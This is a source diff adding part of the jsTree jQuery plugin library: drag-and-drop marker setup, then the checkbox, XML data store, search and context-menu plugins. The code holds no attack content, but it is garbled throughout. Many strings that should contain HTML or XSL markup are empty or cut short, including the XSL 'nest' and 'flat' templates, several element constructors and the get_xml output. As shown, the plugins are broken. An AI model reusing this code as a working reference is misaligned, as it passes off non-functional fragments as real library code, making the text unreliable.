.jstree-ok { background:green; } ' + + '#vakata-dragged .jstree-invalid { background:red; } ' + + '#jstree-marker { padding:0; margin:0; font-size:12px; overflow:hidden; height:12px; width:8px; position:absolute; top:-30px; z-index:10001; background-repeat:no-repeat; display:none; background-color:transparent; text-shadow:1px 1px 1px white; color:black; line-height:10px; } ' + + '#jstree-marker-line { padding:0; margin:0; line-height:0%; font-size:1px; overflow:hidden; height:1px; width:100px; position:absolute; top:-30px; z-index:10000; background-repeat:no-repeat; display:none; background-color:#456c43; ' + + ' cursor:pointer; border:1px solid #eeeeee; border-left:0; -moz-box-shadow: 0px 0px 2px #666; -webkit-box-shadow: 0px 0px 2px #666; box-shadow: 0px 0px 2px #666; ' + + ' -moz-border-radius:1px; border-radius:1px; -webkit-border-radius:1px; ' + + '}' + + ''; + $.vakata.css.add_sheet({ str : css_string, title : "jstree" }); + m = $("
                        ").attr({ id : "jstree-marker" }).hide().html("»") + .bind("mouseleave mouseenter", function (e) { + m.hide(); + ml.hide(); + e.preventDefault(); + e.stopImmediatePropagation(); + return false; + }) + .appendTo("body"); + ml = $("
                        ").attr({ id : "jstree-marker-line" }).hide() + .bind("mouseup", function (e) { + if(r && r.length) { + r.children("a").trigger(e); + e.preventDefault(); + e.stopImmediatePropagation(); + return false; + } + }) + .bind("mouseleave", function (e) { + var rt = $(e.relatedTarget); + if(rt.is(".jstree") || rt.closest(".jstree").length === 0) { + if(r && r.length) { + r.children("a").trigger(e); + m.hide(); + ml.hide(); + e.preventDefault(); + e.stopImmediatePropagation(); + return false; + } + } + }) + .appendTo("body"); + $(document).bind("drag_start.vakata", function (e, data) { + if(data.data.jstree) { m.show(); if(ml) { ml.show(); } } + }); + $(document).bind("drag_stop.vakata", function (e, data) { + if(data.data.jstree) { m.hide(); if(ml) { ml.hide(); } } + }); + }); +})(jQuery); +//*/ + +/* + * jsTree checkbox plugin + * Inserts checkboxes in front of every node + * Depends on the ui plugin + * DOES NOT WORK NICELY WITH MULTITREE DRAG'N'DROP + */ +(function ($) { + $.jstree.plugin("checkbox", { + __init : function () { + this.data.checkbox.noui = this._get_settings().checkbox.override_ui; + if(this.data.ui && this.data.checkbox.noui) { + this.select_node = this.deselect_node = this.deselect_all = $.noop; + this.get_selected = this.get_checked; + } + + this.get_container() + .bind("open_node.jstree create_node.jstree clean_node.jstree refresh.jstree", $.proxy(function (e, data) { + this._prepare_checkboxes(data.rslt.obj); + }, this)) + .bind("loaded.jstree", $.proxy(function (e) { + this._prepare_checkboxes(); + }, this)) + .delegate( (this.data.ui && this.data.checkbox.noui ? "a" : "ins.jstree-checkbox") , "click.jstree", $.proxy(function (e) { + e.preventDefault(); + if(this._get_node(e.target).hasClass("jstree-checked")) { this.uncheck_node(e.target); } + else { this.check_node(e.target); } + if(this.data.ui && this.data.checkbox.noui) { + this.save_selected(); + if(this.data.cookies) { this.save_cookie("select_node"); } + } + else { + e.stopImmediatePropagation(); + return false; + } + }, this)); + }, + defaults : { + override_ui : false, + two_state : false, + real_checkboxes : false, + checked_parent_open : true, + real_checkboxes_names : function (n) { return [ ("check_" + (n[0].id || Math.ceil(Math.random() * 10000))) , 1]; } + }, + __destroy : function () { + this.get_container() + .find("input.jstree-real-checkbox").removeClass("jstree-real-checkbox").end() + .find("ins.jstree-checkbox").remove(); + }, + _fn : { + _checkbox_notify : function (n, data) { + if(data.checked) { + this.check_node(n, false); + } + }, + _prepare_checkboxes : function (obj) { + obj = !obj || obj == -1 ? this.get_container().find("> ul > li") : this._get_node(obj); + if(obj === false) { return; } // added for removing root nodes + var c, _this = this, t, ts = this._get_settings().checkbox.two_state, rc = this._get_settings().checkbox.real_checkboxes, rcn = this._get_settings().checkbox.real_checkboxes_names; + obj.each(function () { + t = $(this); + c = t.is("li") && (t.hasClass("jstree-checked") || (rc && t.children(":checked").length)) ? "jstree-checked" : "jstree-unchecked"; + t.find("li").andSelf().each(function () { + var $t = $(this), nm; + $t.children("a" + (_this.data.languages ? "" : ":eq(0)") ).not(":has(.jstree-checkbox)").prepend(" ").parent().not(".jstree-checked, .jstree-unchecked").addClass( ts ? "jstree-unchecked" : c ); + if(rc) { + if(!$t.children(":checkbox").length) { + nm = rcn.call(_this, $t); + $t.prepend(""); + } + else { + $t.children(":checkbox").addClass("jstree-real-checkbox"); + } + if(c === "jstree-checked") { + $t.children(":checkbox").attr("checked","checked"); + } + } + if(c === "jstree-checked" && !ts) { + $t.find("li").addClass("jstree-checked"); + } + }); + }); + if(!ts) { + if(obj.length === 1 && obj.is("li")) { this._repair_state(obj); } + if(obj.is("li")) { obj.each(function () { _this._repair_state(this); }); } + else { obj.find("> ul > li").each(function () { _this._repair_state(this); }); } + obj.find(".jstree-checked").parent().parent().each(function () { _this._repair_state(this); }); + } + }, + change_state : function (obj, state) { + obj = this._get_node(obj); + var coll = false, rc = this._get_settings().checkbox.real_checkboxes; + if(!obj || obj === -1) { return false; } + state = (state === false || state === true) ? state : obj.hasClass("jstree-checked"); + if(this._get_settings().checkbox.two_state) { + if(state) { + obj.removeClass("jstree-checked").addClass("jstree-unchecked"); + if(rc) { obj.children(":checkbox").removeAttr("checked"); } + } + else { + obj.removeClass("jstree-unchecked").addClass("jstree-checked"); + if(rc) { obj.children(":checkbox").attr("checked","checked"); } + } + } + else { + if(state) { + coll = obj.find("li").andSelf(); + if(!coll.filter(".jstree-checked, .jstree-undetermined").length) { return false; } + coll.removeClass("jstree-checked jstree-undetermined").addClass("jstree-unchecked"); + if(rc) { coll.children(":checkbox").removeAttr("checked"); } + } + else { + coll = obj.find("li").andSelf(); + if(!coll.filter(".jstree-unchecked, .jstree-undetermined").length) { return false; } + coll.removeClass("jstree-unchecked jstree-undetermined").addClass("jstree-checked"); + if(rc) { coll.children(":checkbox").attr("checked","checked"); } + if(this.data.ui) { this.data.ui.last_selected = obj; } + this.data.checkbox.last_selected = obj; + } + obj.parentsUntil(".jstree", "li").each(function () { + var $this = $(this); + if(state) { + if($this.children("ul").children("li.jstree-checked, li.jstree-undetermined").length) { + $this.parentsUntil(".jstree", "li").andSelf().removeClass("jstree-checked jstree-unchecked").addClass("jstree-undetermined"); + if(rc) { $this.parentsUntil(".jstree", "li").andSelf().children(":checkbox").removeAttr("checked"); } + return false; + } + else { + $this.removeClass("jstree-checked jstree-undetermined").addClass("jstree-unchecked"); + if(rc) { $this.children(":checkbox").removeAttr("checked"); } + } + } + else { + if($this.children("ul").children("li.jstree-unchecked, li.jstree-undetermined").length) { + $this.parentsUntil(".jstree", "li").andSelf().removeClass("jstree-checked jstree-unchecked").addClass("jstree-undetermined"); + if(rc) { $this.parentsUntil(".jstree", "li").andSelf().children(":checkbox").removeAttr("checked"); } + return false; + } + else { + $this.removeClass("jstree-unchecked jstree-undetermined").addClass("jstree-checked"); + if(rc) { $this.children(":checkbox").attr("checked","checked"); } + } + } + }); + } + if(this.data.ui && this.data.checkbox.noui) { this.data.ui.selected = this.get_checked(); } + this.__callback(obj); + return true; + }, + check_node : function (obj) { + if(this.change_state(obj, false)) { + obj = this._get_node(obj); + if(this._get_settings().checkbox.checked_parent_open) { + var t = this; + obj.parents(".jstree-closed").each(function () { t.open_node(this, false, true); }); + } + this.__callback({ "obj" : obj }); + } + }, + uncheck_node : function (obj) { + if(this.change_state(obj, true)) { this.__callback({ "obj" : this._get_node(obj) }); } + }, + check_all : function () { + var _this = this, + coll = this._get_settings().checkbox.two_state ? this.get_container_ul().find("li") : this.get_container_ul().children("li"); + coll.each(function () { + _this.change_state(this, false); + }); + this.__callback(); + }, + uncheck_all : function () { + var _this = this, + coll = this._get_settings().checkbox.two_state ? this.get_container_ul().find("li") : this.get_container_ul().children("li"); + coll.each(function () { + _this.change_state(this, true); + }); + this.__callback(); + }, + + is_checked : function(obj) { + obj = this._get_node(obj); + return obj.length ? obj.is(".jstree-checked") : false; + }, + get_checked : function (obj, get_all) { + obj = !obj || obj === -1 ? this.get_container() : this._get_node(obj); + return get_all || this._get_settings().checkbox.two_state ? obj.find(".jstree-checked") : obj.find("> ul > .jstree-checked, .jstree-undetermined > ul > .jstree-checked"); + }, + get_unchecked : function (obj, get_all) { + obj = !obj || obj === -1 ? this.get_container() : this._get_node(obj); + return get_all || this._get_settings().checkbox.two_state ? obj.find(".jstree-unchecked") : obj.find("> ul > .jstree-unchecked, .jstree-undetermined > ul > .jstree-unchecked"); + }, + + show_checkboxes : function () { this.get_container().children("ul").removeClass("jstree-no-checkboxes"); }, + hide_checkboxes : function () { this.get_container().children("ul").addClass("jstree-no-checkboxes"); }, + + _repair_state : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return; } + var rc = this._get_settings().checkbox.real_checkboxes, + a = obj.find("> ul > .jstree-checked").length, + b = obj.find("> ul > .jstree-undetermined").length, + c = obj.find("> ul > li").length; + if(c === 0) { if(obj.hasClass("jstree-undetermined")) { this.change_state(obj, false); } } + else if(a === 0 && b === 0) { this.change_state(obj, true); } + else if(a === c) { this.change_state(obj, false); } + else { + obj.parentsUntil(".jstree","li").andSelf().removeClass("jstree-checked jstree-unchecked").addClass("jstree-undetermined"); + if(rc) { obj.parentsUntil(".jstree", "li").andSelf().children(":checkbox").removeAttr("checked"); } + } + }, + reselect : function () { + if(this.data.ui && this.data.checkbox.noui) { + var _this = this, + s = this.data.ui.to_select; + s = $.map($.makeArray(s), function (n) { return "#" + n.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:"); }); + this.deselect_all(); + $.each(s, function (i, val) { _this.check_node(val); }); + this.__callback(); + } + else { + this.__call_old(); + } + }, + save_loaded : function () { + var _this = this; + this.data.core.to_load = []; + this.get_container_ul().find("li.jstree-closed.jstree-undetermined").each(function () { + if(this.id) { _this.data.core.to_load.push("#" + this.id); } + }); + } + } + }); + $(function() { + var css_string = '.jstree .jstree-real-checkbox { display:none; } '; + $.vakata.css.add_sheet({ str : css_string, title : "jstree" }); + }); +})(jQuery); +//*/ + +/* + * jsTree XML plugin + * The XML data store. Datastores are build by overriding the `load_node` and `_is_loaded` functions. + */ +(function ($) { + $.vakata.xslt = function (xml, xsl, callback) { + var rs = "", xm, xs, processor, support; + // TODO: IE9 no XSLTProcessor, no document.recalc + if(document.recalc) { + xm = document.createElement('xml'); + xs = document.createElement('xml'); + xm.innerHTML = xml; + xs.innerHTML = xsl; + $("body").append(xm).append(xs); + setTimeout( (function (xm, xs, callback) { + return function () { + callback.call(null, xm.transformNode(xs.XMLDocument)); + setTimeout( (function (xm, xs) { return function () { $(xm).remove(); $(xs).remove(); }; })(xm, xs), 200); + }; + })(xm, xs, callback), 100); + return true; + } + if(typeof window.DOMParser !== "undefined" && typeof window.XMLHttpRequest !== "undefined" && typeof window.XSLTProcessor === "undefined") { + xml = new DOMParser().parseFromString(xml, "text/xml"); + xsl = new DOMParser().parseFromString(xsl, "text/xml"); + // alert(xml.transformNode()); + // callback.call(null, new XMLSerializer().serializeToString(rs)); + + } + if(typeof window.DOMParser !== "undefined" && typeof window.XMLHttpRequest !== "undefined" && typeof window.XSLTProcessor !== "undefined") { + processor = new XSLTProcessor(); + support = $.isFunction(processor.transformDocument) ? (typeof window.XMLSerializer !== "undefined") : true; + if(!support) { return false; } + xml = new DOMParser().parseFromString(xml, "text/xml"); + xsl = new DOMParser().parseFromString(xsl, "text/xml"); + if($.isFunction(processor.transformDocument)) { + rs = document.implementation.createDocument("", "", null); + processor.transformDocument(xml, xsl, rs, null); + callback.call(null, new XMLSerializer().serializeToString(rs)); + return true; + } + else { + processor.importStylesheet(xsl); + rs = processor.transformToFragment(xml, document); + callback.call(null, $("
                        ").append(rs).html()); + return true; + } + } + return false; + }; + var xsl = { + 'nest' : '<' + '?xml version="1.0" encoding="utf-8" ?>' + + '' + + '' + + '' + + ' ' + + ' ' + + ' ' + + '' + + '' + + ' ' + + ' ' + + '' + + '', + + 'flat' : '<' + '?xml version="1.0" encoding="utf-8" ?>' + + '' + + '' + + '' + + '
                          ' + + ' ' + /* the last `or` may be removed */ + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '
                        ' + + '
                        ' + + '' + + ' ' + + ' ' + + ' ' + + '
                      • ' + + ' ' + + ' jstree-last ' + + ' ' + + ' jstree-open ' + + ' jstree-closed ' + + ' jstree-leaf ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '  ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' #' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' jstree-icon ' + + ' ' + + ' ' + + ' background:url() center center no-repeat;' + + '  ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '
                          ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '
                        ' + + '
                        ' + + '
                      • ' + + '' + + '' + }, + escape_xml = function(string) { + return string + .toString() + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + $.jstree.plugin("xml_data", { + defaults : { + data : false, + ajax : false, + xsl : "flat", + clean_node : false, + correct_state : true, + get_skip_empty : false, + get_include_preamble : true + }, + _fn : { + load_node : function (obj, s_call, e_call) { var _this = this; this.load_node_xml(obj, function () { _this.__callback({ "obj" : _this._get_node(obj) }); s_call.call(this); }, e_call); }, + _is_loaded : function (obj) { + var s = this._get_settings().xml_data; + obj = this._get_node(obj); + return obj == -1 || !obj || (!s.ajax && !$.isFunction(s.data)) || obj.is(".jstree-open, .jstree-leaf") || obj.children("ul").children("li").size() > 0; + }, + load_node_xml : function (obj, s_call, e_call) { + var s = this.get_settings().xml_data, + error_func = function () {}, + success_func = function () {}; + + obj = this._get_node(obj); + if(obj && obj !== -1) { + if(obj.data("jstree-is-loading")) { return; } + else { obj.data("jstree-is-loading",true); } + } + switch(!0) { + case (!s.data && !s.ajax): throw "Neither data nor ajax settings supplied."; + case ($.isFunction(s.data)): + s.data.call(this, obj, $.proxy(function (d) { + this.parse_xml(d, $.proxy(function (d) { + if(d) { + d = d.replace(/ ?xmlns="[^"]*"/ig, ""); + if(d.length > 10) { + d = $(d); + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.children("a.jstree-loading").removeClass("jstree-loading"); obj.append(d); obj.removeData("jstree-is-loading"); } + if(s.clean_node) { this.clean_node(obj); } + if(s_call) { s_call.call(this); } + } + else { + if(obj && obj !== -1) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + else { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + } + } + }, this)); + }, this)); + break; + case (!!s.data && !s.ajax) || (!!s.data && !!s.ajax && (!obj || obj === -1)): + if(!obj || obj == -1) { + this.parse_xml(s.data, $.proxy(function (d) { + if(d) { + d = d.replace(/ ?xmlns="[^"]*"/ig, ""); + if(d.length > 10) { + d = $(d); + this.get_container().children("ul").empty().append(d.children()); + if(s.clean_node) { this.clean_node(obj); } + if(s_call) { s_call.call(this); } + } + } + else { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + }, this)); + } + break; + case (!s.data && !!s.ajax) || (!!s.data && !!s.ajax && obj && obj !== -1): + error_func = function (x, t, e) { + var ef = this.get_settings().xml_data.ajax.error; + if(ef) { ef.call(this, x, t, e); } + if(obj !== -1 && obj.length) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(t === "success" && s.correct_state) { this.correct_state(obj); } + } + else { + if(t === "success" && s.correct_state) { this.get_container().children("ul").empty(); } + } + if(e_call) { e_call.call(this); } + }; + success_func = function (d, t, x) { + d = x.responseText; + var sf = this.get_settings().xml_data.ajax.success; + if(sf) { d = sf.call(this,d,t,x) || d; } + if(d === "" || (d && d.toString && d.toString().replace(/^[\s\n]+$/,"") === "")) { + return error_func.call(this, x, t, ""); + } + this.parse_xml(d, $.proxy(function (d) { + if(d) { + d = d.replace(/ ?xmlns="[^"]*"/ig, ""); + if(d.length > 10) { + d = $(d); + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.children("a.jstree-loading").removeClass("jstree-loading"); obj.append(d); obj.removeData("jstree-is-loading"); } + if(s.clean_node) { this.clean_node(obj); } + if(s_call) { s_call.call(this); } + } + else { + if(obj && obj !== -1) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + else { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + } + } + }, this)); + }; + s.ajax.context = this; + s.ajax.error = error_func; + s.ajax.success = success_func; + if(!s.ajax.dataType) { s.ajax.dataType = "xml"; } + if($.isFunction(s.ajax.url)) { s.ajax.url = s.ajax.url.call(this, obj); } + if($.isFunction(s.ajax.data)) { s.ajax.data = s.ajax.data.call(this, obj); } + $.ajax(s.ajax); + break; + } + }, + parse_xml : function (xml, callback) { + var s = this._get_settings().xml_data; + $.vakata.xslt(xml, xsl[s.xsl], callback); + }, + get_xml : function (tp, obj, li_attr, a_attr, is_callback) { + var result = "", + s = this._get_settings(), + _this = this, + tmp1, tmp2, li, a, lang; + if(!tp) { tp = "flat"; } + if(!is_callback) { is_callback = 0; } + obj = this._get_node(obj); + if(!obj || obj === -1) { obj = this.get_container().find("> ul > li"); } + li_attr = $.isArray(li_attr) ? li_attr : [ "id", "class" ]; + if(!is_callback && this.data.types && $.inArray(s.types.type_attr, li_attr) === -1) { li_attr.push(s.types.type_attr); } + + a_attr = $.isArray(a_attr) ? a_attr : [ ]; + + if(!is_callback) { + if(s.xml_data.get_include_preamble) { + result += '<' + '?xml version="1.0" encoding="UTF-8"?' + '>'; + } + result += ""; + } + obj.each(function () { + result += ""; + result += ""; + }); + result += ""; + tmp2 = li[0].id || true; + li = li.find("> ul > li"); + if(li.length) { tmp2 = _this.get_xml(tp, li, li_attr, a_attr, tmp2); } + else { tmp2 = ""; } + if(tp == "nest") { result += tmp2; } + result += ""; + if(tp == "flat") { result += tmp2; } + }); + if(!is_callback) { result += ""; } + return result; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree search plugin + * Enables both sync and async search on the tree + * DOES NOT WORK WITH JSON PROGRESSIVE RENDER + */ +(function ($) { + $.expr[':'].jstree_contains = function(a,i,m){ + return (a.textContent || a.innerText || "").toLowerCase().indexOf(m[3].toLowerCase())>=0; + }; + $.expr[':'].jstree_title_contains = function(a,i,m) { + return (a.getAttribute("title") || "").toLowerCase().indexOf(m[3].toLowerCase())>=0; + }; + $.jstree.plugin("search", { + __init : function () { + this.data.search.str = ""; + this.data.search.result = $(); + if(this._get_settings().search.show_only_matches) { + this.get_container() + .bind("search.jstree", function (e, data) { + $(this).children("ul").find("li").hide().removeClass("jstree-last"); + data.rslt.nodes.parentsUntil(".jstree").andSelf().show() + .filter("ul").each(function () { $(this).children("li:visible").eq(-1).addClass("jstree-last"); }); + }) + .bind("clear_search.jstree", function () { + $(this).children("ul").find("li").css("display","").end().end().jstree("clean_node", -1); + }); + } + }, + defaults : { + ajax : false, + search_method : "jstree_contains", // for case insensitive - jstree_contains + show_only_matches : false + }, + _fn : { + search : function (str, skip_async) { + if($.trim(str) === "") { this.clear_search(); return; } + var s = this.get_settings().search, + t = this, + error_func = function () { }, + success_func = function () { }; + this.data.search.str = str; + + if(!skip_async && s.ajax !== false && this.get_container_ul().find("li.jstree-closed:not(:has(ul)):eq(0)").length > 0) { + this.search.supress_callback = true; + error_func = function () { }; + success_func = function (d, t, x) { + var sf = this.get_settings().search.ajax.success; + if(sf) { d = sf.call(this,d,t,x) || d; } + this.data.search.to_open = d; + this._search_open(); + }; + s.ajax.context = this; + s.ajax.error = error_func; + s.ajax.success = success_func; + if($.isFunction(s.ajax.url)) { s.ajax.url = s.ajax.url.call(this, str); } + if($.isFunction(s.ajax.data)) { s.ajax.data = s.ajax.data.call(this, str); } + if(!s.ajax.data) { s.ajax.data = { "search_string" : str }; } + if(!s.ajax.dataType || /^json/.exec(s.ajax.dataType)) { s.ajax.dataType = "json"; } + $.ajax(s.ajax); + return; + } + if(this.data.search.result.length) { this.clear_search(); } + this.data.search.result = this.get_container().find("a" + (this.data.languages ? "." + this.get_lang() : "" ) + ":" + (s.search_method) + "(" + this.data.search.str + ")"); + this.data.search.result.addClass("jstree-search").parent().parents(".jstree-closed").each(function () { + t.open_node(this, false, true); + }); + this.__callback({ nodes : this.data.search.result, str : str }); + }, + clear_search : function (str) { + this.data.search.result.removeClass("jstree-search"); + this.__callback(this.data.search.result); + this.data.search.result = $(); + }, + _search_open : function (is_callback) { + var _this = this, + done = true, + current = [], + remaining = []; + if(this.data.search.to_open.length) { + $.each(this.data.search.to_open, function (i, val) { + if(val == "#") { return true; } + if($(val).length && $(val).is(".jstree-closed")) { current.push(val); } + else { remaining.push(val); } + }); + if(current.length) { + this.data.search.to_open = remaining; + $.each(current, function (i, val) { + _this.open_node(val, function () { _this._search_open(true); }); + }); + done = false; + } + } + if(done) { this.search(this.data.search.str, true); } + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree contextmenu plugin + */ +(function ($) { + $.vakata.context = { + hide_on_mouseleave : false, + + cnt : $("
                        "), + vis : false, + tgt : false, + par : false, + func : false, + data : false, + rtl : false, + show : function (s, t, x, y, d, p, rtl) { + $.vakata.context.rtl = !!rtl; + var html = $.vakata.context.parse(s), h, w; + if(!html) { return; } + $.vakata.context.vis = true; + $.vakata.context.tgt = t; + $.vakata.context.par = p || t || null; + $.vakata.context.data = d || null; + $.vakata.context.cnt + .html(html) + .css({ "visibility" : "hidden", "display" : "block", "left" : 0, "top" : 0 }); + + if($.vakata.context.hide_on_mouseleave) { + $.vakata.context.cnt + .one("mouseleave", function(e) { $.vakata.context.hide(); }); + } + + h = $.vakata.context.cnt.height(); + w = $.vakata.context.cnt.width(); + if(x + w > $(document).width()) { + x = $(document).width() - (w + 5); + $.vakata.context.cnt.find("li > ul").addClass("right"); + } + if(y + h > $(document).height()) { + y = y - (h + t[0].offsetHeight); + $.vakata.context.cnt.find("li > ul").addClass("bottom"); + } + + $.vakata.context.cnt + .css({ "left" : x, "top" : y }) + .find("li:has(ul)") + .bind("mouseenter", function (e) { + var w = $(document).width(), + h = $(document).height(), + ul = $(this).children("ul").show(); + if(w !== $(document).width()) { ul.toggleClass("right"); } + if(h !== $(document).height()) { ul.toggleClass("bottom"); } + }) + .bind("mouseleave", function (e) { + $(this).children("ul").hide(); + }) + .end() + .css({ "visibility" : "visible" }) + .show(); + $(document).triggerHandler("context_show.vakata"); + }, + hide : function () { + $.vakata.context.vis = false; + $.vakata.context.cnt.attr("class","").css({ "visibility" : "hidden" }); + $(document).triggerHandler("context_hide.vakata"); + }, + parse : function (s, is_callback) { + if(!s) { return false; } + var str = "", + tmp = false, + was_sep = true; + if(!is_callback) { $.vakata.context.func = {}; } + str += "
                          "; + $.each(s, function (i, val) { + if(!val) { return true; } + $.vakata.context.func[i] = val.action; + if(!was_sep && val.separator_before) { + str += "
                        • "; + } + was_sep = false; + str += "
                        • "; + if(val.submenu) { + str += "»"; + } + str += val.label + ""; + if(val.submenu) { + tmp = $.vakata.context.parse(val.submenu, true); + if(tmp) { str += tmp; } + } + str += "
                        • "; + if(val.separator_after) { + str += "
                        • "; + was_sep = true; + } + }); + str = str.replace(/
                        • <\/li\>$/,""); + str += "
                        "; + $(document).triggerHandler("context_parse.vakata"); + return str.length > 10 ? str : false; + }, + exec : function (i) { + if($.isFunction($.vakata.context.func[i])) { + // if is string - eval and call it! + $.vakata.context.func[i].call($.vakata.context.data, $.vakata.context.par); + return true; + } + else { return false; } + } + }; + $(function () { + var css_string = '' + + '#vakata-contextmenu { display:block; visibility:hidden; left:0; top:-200px; position:absolute; margin:0; padding:0; min-width:180px; background:#ebebeb; border:1px solid silver; z-index:10000; *width:180px; } ' + + '#vakata-contextmenu ul { min-width:180px; *width:180px; } ' + + '#vakata-contextmenu ul, #vakata-contextmenu li { margin:0; padding:0; list-style-type:none; display:block; } ' + + '#vakata-contextmenu li { line-height:20px; min-height:20px; position:relative; padding:0px; } ' + + '#vakata-contextmenu li a { padding:1px 6px; line-height:17px; display:block; text-decoration:none; margin:1px 1px 0 1px; } ' + + '#vakata-contextmenu li ins { float:left; width:16px; height:16px; text-decoration:none; margin-right:2px; } ' + + '#vakata-contextmenu li a:hover, #vakata-contextmenu li.vakata-hover > a { background:gray; color:white; } ' + + '#vakata-contextmenu li ul { display:none; position:absolute; top:-2px; left:100%; background:#ebebeb; border:1px solid gray; } ' + + '#vakata-contextmenu .right { right:100%; left:auto; } ' + + '#vakata-contextmenu .bottom { bottom:-1px; top:auto; } ' + + '#vakata-contextmenu li.vakata-separator { min-height:0; height:1px; line-height:1px; font-size:1px; overflow:hidden; margin:0 2px; background:silver; /* border-top:1px solid #fefefe; */ padding:0; } '; + $.vakata.css.add_sheet({ str : css_string, title : "vakata" }); + $.vakata.context.cnt + .delegate("a","click", function (e) { e.preventDefault(); }) + .delegate("a","mouseup", function (e) { + if(!$(this).parent().hasClass("jstree-contextmenu-disabled") && $.vakata.context.exec($(this).attr("rel"))) { + $.vakata.context.hide(); + } + else { $(this).blur(); } + }) + .delegate("a","mouseover", function () { + $.vakata.context.cnt.find(".vakata-hover").removeClass("vakata-hover"); + }) + .appendTo("body"); + $(document).bind("mousedown", function (e) { if($.vakata.context.vis && !$.contains($.vakata.context.cnt[0], e.target)) { $.vakata.context.hide(); } }); + if(typeof $.hotkeys !== "undefined") { + $(document) + .bind("keydown", "up", function (e) { + if($.vakata.context.vis) { + var o = $.vakata.context.cnt.find("ul:visible").last().children(".vakata-hover").removeClass("vakata-hover").prevAll("li:not(.vakata-separator)").first(); + if(!o.length) { o = $.vakata.context.cnt.find("ul:visible").last().children("li:not(.vakata-separator)").last(); } + o.addClass("vakata-hover"); + e.stopImmediatePropagation(); + e.preventDefault(); + } + }) + .bind("keydown", "down", function (e) { + if($.vakata.context.vis) { + var o = $.vakata.context.cnt.find("ul:visible").last().children(".vakata-hover").removeClass("vakata-hover").nextAll("li:not(.vakata-separator)").first(); + if(!o.length) { o = $.vakata.context.cnt.find("ul:visible").last().children("li:not(.vakata-separator)").first(); } + o.addClass("vakata-hover"); + e.stopImmediatePropagation(); + e.preventDefault(); + } + }) + .bind("keydown", "right", function (e) { + if($.vakata.context.vis) { + $.vakata.context.cnt.find(".vakata-hover").children("ul").show().children("li:not(.vakata-separator)").removeClass("vakata-hover").first().addClass("vakata-hover"); + e.stopImmediatePropagation(); + e.preventDefault(); + } + }) + .bind("keydown", "left", function (e) { + if($.vakata.context.vis) { + $.vakata.context.cnt.find(".vakata-hover").children("ul").hide().children(".vakata-separator").removeClass("vakata-hover"); + e.stopImmediatePropagation(); + e.preventDefault(); + } + }) + .bind("keydown", "esc", function (e) { + $.vakata.context.hide(); + e.preventDefault(); + }) + .bind("keydown", "space", function (e) { + $.vakata.context.cnt.find(".vakata-hover").last().children("a").click(); + e.preventDefault(); + }); + } + }); + + $.jstree.plugin("contextmenu", { + __init : function () { + this.get_container() + .delegate("a", "contextmenu.jstree", $.proxy(function (e) { + e.preventDefault(); + if(!$(e.currentTarget).hasClass("jstree-loading")) { + this.show_contextmenu(e.currentTarget, e.pageX, e.pageY); + } + }, this)) + .delegate("a", "click.jstree", $.proxy(function (e) { + if(this.data.contextmenu) { + $.vakata.context.hide(); + } + }, this)) + .bind("destroy.jstree", $.proxy(function () { + // TODO: move this to descruct method + if(this.data.contextmenu) { + $.vakata.context.hide(); + } + }, this)); + $(document).bind("context_hide.vakata", $.proxy(function () { this.data.contextmenu = false; }, this)); + }, + defaults : { + select_node : false, // requires UI plugin + show_at_node : true, + items : { // Could be a function that should return an object like this one + "create" : { + "separator_before" : false, + "separator_after" : true, + "label" : "Create", + "action" : function (obj) { this.create(obj); } + }, + "rename" : { + "separator_before" : false, + "separator_after" : false, + "label" : "Rename", + "action" : function (obj) { this.rename(obj); } + }, + "remove" : { + "separator_before" : false, + "icon" : false, + "separator_after" : false, + "label" : "Delete", + "action" : function (obj) { if(this.is_selected(obj)) { this.remove(); } else { this.remove(obj); } } + }, + "ccp" : { + "separator_before" : true, + "icon" : false, + "separator_after" : false, + "label" : "Edit", + "action" : false, + "submenu" : { + "cut" : { + "separator_before" : false, + "separator_after" : false, + "label" : "Cut", + "action" : function (obj) { this.cut(obj); } + }, + "copy" : { + "separator_before" : false, + "icon" : false, + "separator_after" : false, + "label" : "Copy", + "action" : function (obj) { this.copy(obj); } + }, + "paste" : { + "separator_before" : false, + "icon" : false, + "separator_after" : false, + "label" : "Paste", + "action" : function (obj) { this.paste(obj); } + } + } + } + } + }, + _fn : { + show_contextmenu : function (obj, x, y) { + obj = this._get_node(obj); + var s = this.get_settings().contextmenu, + a = obj.children("a:visible:eq(0)"), + o = false, + i = false; + if(s.select_node && this.data.ui && !this.is_selected(obj)) { + this.deselect_all(); + this.select_node(obj, true); + } + if(s.show_at_node || typeof x === "undefined" || typeof y === "undefined") { + o = a.offset(); + x = o.left; + y = o.top + this.data.core.li_height; + } + i = obj.data("jstree") && obj.data("jstree").contextmenu ? obj.data("jstree").contextmenu : s.items; + if($.isFunction(i)) { i = i.call(this, obj); } + this.data.contextmenu = true; + $.vakata.context.show(i, a, x, y, this, obj, this._get_settings().core.rtl); + if(this.data.themes) { $.vakata.context.cnt.attr("class", "jstree-" + this.data.themes.theme + 